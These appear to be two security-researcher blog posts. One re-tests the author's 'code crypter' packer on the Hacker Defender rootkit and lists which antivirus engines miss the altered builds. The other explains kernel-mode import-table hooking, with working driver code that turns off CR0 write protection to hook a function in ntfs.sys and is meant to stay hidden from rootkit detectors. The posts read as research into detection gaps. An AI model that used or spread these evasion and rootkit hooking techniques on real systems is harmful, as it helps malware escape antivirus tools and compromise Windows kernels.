Ok, so it's a year since i released a POC packer called code crypter. What's changed since then? Has detection improved or not...

To make the test fair, i firstly changed the entry stub in a very minor way (switched the order of some pop's and the nops, hardly significant). This yielded the following results when crypting the popular rootkit hacker defended (using option 1 to crypt the resources too): (I used the popular site VirusTotal here)

Antivirus Version Update Result
AntiVir 7.3.0.21 12.25.2006 no virus found
Authentium 4.93.8 12.22.2006 no virus found
Avast 4.7.892.0 12.21.2006 no virus found
AVG 386 12.25.2006 no virus found
BitDefender 7.2 12.25.2006 no virus found
CAT-QuickHeal 8.00 12.25.2006 (Suspicious) - DNAScan
ClamAV devel-20060426 12.25.2006 no virus found
DrWeb 4.33 12.26.2006 Win32.HLLW.MyBot
eSafe 7.0.14.0 12.25.2006 no virus found
eTrust-InoculateIT 23.73.98 12.24.2006 no virus found
eTrust-Vet 30.3.3271 12.23.2006 no virus found
Ewido 4.0 12.25.2006 no virus found
Fortinet 2.82.0.0 12.25.2006 suspicious
F-Prot 3.16f 12.22.2006 no virus found
F-Prot4 4.2.1.29 12.22.2006 no virus found
Ikarus T3.1.0.27 12.25.2006 Backdoor.Win32.HacDef.073.B
Kaspersky 4.0.2.24 12.26.2006 no virus found
McAfee 4925 12.22.2006 HackerDefender.sys
Microsoft 1.1904 12.25.2006 Backdoor:Win32/Hackdef.P
NOD32v2 1938 12.25.2006 a variant of Win32/HacDef
Norman 5.80.02 12.22.2006 no virus found
Panda 9.0.0.4 12.25.2006 Suspicious file
Prevx1 V2 12.26.2006 no virus found
Sophos 4.12.0 12.24.2006 no virus found
Sunbelt 2.2.907.0 12.18.2006 VIPRE.Suspicious
TheHacker 6.0.3.136 12.24.2006 no virus found
UNA 1.83 12.25.2006 no virus found
VBA32 3.11.1 12.25.2006 BackDoor.HackDef.164
VirusBuster 4.3.19:9 12.25.2006 no virus found

Aditional Information
File size: 89600 bytes
MD5: 7e924ec45ff49c43cf43c4fcc8227b5d
SHA1: 6e659fcf91e447f46dca1d413e02e1d0e870468a
packers: PECRYPT
packers: PE-Crypt.CodeCrypt
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.

Ok, so a lot of AV are still unable to detect this, with only a minor stub modification...which is worrying.

I then decided to make the test a bit tougher. After re-writing the stub and unpacking algorithm in plain c (from the original in asm), I also changed the choice of parameters for the LCG based encryption. This produced the following results:

Antivirus Version Update Result
AntiVir 7.3.0.21 12.25.2006 no virus found
Authentium 4.93.8 12.22.2006 no virus found
Avast 4.7.892.0 12.21.2006 no virus found
AVG 386 12.25.2006 no virus found
BitDefender 7.2 12.25.2006 no virus found
CAT-QuickHeal 8.00 12.25.2006 (Suspicious) - DNAScan
ClamAV devel-20060426 12.25.2006 no virus found
DrWeb 4.33 12.26.2006 no virus found
eSafe 7.0.14.0 12.25.2006 no virus found
eTrust-InoculateIT 23.73.98 12.24.2006 no virus found
eTrust-Vet 30.3.3271 12.23.2006 no virus found
Ewido 4.0 12.25.2006 no virus found
Fortinet 2.82.0.0 12.25.2006 suspicious
F-Prot 3.16f 12.22.2006 no virus found
F-Prot4 4.2.1.29 12.22.2006 no virus found
Ikarus T3.1.0.27 12.25.2006 Backdoor.Win32.HacDef.073.B
Kaspersky 4.0.2.24 12.26.2006 no virus found
McAfee 4925 12.22.2006 HackerDefender.sys
Microsoft 1.1904 12.25.2006 Backdoor:Win32/Hackdef.P
NOD32v2 1938 12.25.2006 a variant of Win32/HacDef
Norman 5.80.02 12.22.2006 no virus found
Panda 9.0.0.4 12.25.2006 Suspicious file
Prevx1 V2 12.26.2006 no virus found
Sophos 4.12.0 12.24.2006 no virus found
Sunbelt 2.2.907.0 12.18.2006 VIPRE.Suspicious
TheHacker 6.0.3.136 12.24.2006 no virus found
UNA 1.83 12.25.2006 no virus found
VBA32 3.11.1 12.25.2006 BackDoor.HackDef.164
VirusBuster 4.3.19:9 12.25.2006 no virus found

Aditional Information
File size: 89600 bytes
MD5: d68a7de4595b48bf6c395a6e43b6636a
SHA1: 818d526a2721e2b61a426568a865454440375ef2
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.

So, the conclusion is that AV have improved since I last tested, but only the mainstream ones. KAV is still disappointing given its good reputation, along with F-Protect and Sophos.

(Clearly I am relying on the versions used by Virus Total being up to date).

Out of curiousity, I posted this to Jotti.org and got the following results:

Status:
INFECTED/MALWARE
Packers detected:
PRIVATE EXE PROTECTOR
Scanner results
AntiVir
Found nothing
ArcaVir
Found nothing
Avast
Found nothing
AVG Antivirus
Found nothing
BitDefender
Found nothing
ClamAV
Found nothing
Dr.Web
Found nothing
F-Prot Antivirus
Found nothing
F-Secure Anti-Virus
Found nothing
Fortinet
Found nothing
Kaspersky Anti-Virus
Found nothing
NOD32
Found a variant of Win32/HacDef
Norman Virus Control
Found nothing
VirusBuster
Found nothing
VBA32
Found BackDoor.HackDef.164

Sorry it's been a while since I posted, life sometimes gets in the way...

I thought I'd publish something that I wrote in a private project over a year ago - how to hook the import address table of a driver (ring 0).

Basically, lots of drivers will use kernel api that are exported by ntoskrnl.exe. If you wish to subvert a kernel mode driver (.sys), one easy way might be to hook a function it links against... but you might not want to hook it globally, as it will get picked up by rootkit detectors.

That's where hooking the Import Address Table (IAT) comes in. .sys files are standard PE files, and also have an IAT. This is a table that is populate with pointers to functions that the driver links against.

This is a common technique in user mode, but it's slightly more complex to implement in kernel mode, since the .sys file clears out the import data once the PE loader has finished (meaning you can't find which function is which for an in-memory .sys).

I get around this by working out the RVA of the function pointer from the file on disk and then adjusting this to find the position of the pointer in the loaded version.

The example shows a hook of the function RtlGenerate8dot3Name within ntfs.sys (the RtlGenerate8dot3Name routine generates a short (8.3) name for the specified long file name).

(use the test driver at your own peril, as it can be dangerous for file systems to hook ntfs!).

The usage is quite simple, as shown in the sample code below:

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
{
DWORD didItWork = 0;
DWORD RVA, Thunk;
UNICODE_STRING driverName;
PVOID base = NULL;
char functionName[] = "RtlGenerate8dot3Name";
char libraryName[] = "ntoskrnl.exe";
//find the base address of target driver
base = FindDriverBase("ntfs.sys");
//DbgBreakPoint();
if(NULL==base)
{
DbgPrint("base not found");
return STATUS_SUCCESS;
}

RtlInitUnicodeString(&driverName, L"DeviceHarddiskVolume1WindowsSystem32driversntfs.sys");
didItWork = GetIATPointerRVAFromBase(functionName, libraryName, &driverName, &Thunk, &RVA );

if(0==didItWork)
{
DbgPrint("IATPointerRVA not found");
return STATUS_SUCCESS;
}

g_IATFunctionPointer = (DWORD*)( (BYTE*)base + Thunk ) + RVA;

if(NULL==g_IATFunctionPointer)
{
DbgPrint("IATFunctionPointer not found");
return STATUS_SUCCESS;
}

g_OriginalRtlGenerate8dot3Name = *(PVOID*)g_IATFunctionPointer;
DbgBreakPoint();
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}

*(PVOID*)g_IATFunctionPointer = MyRtlGenerate8dot3Name;
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
if (DriverObject) DriverObject->DriverUnload = Unload;
return DriverObject ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL;
}

You can download it from:

HookNTFS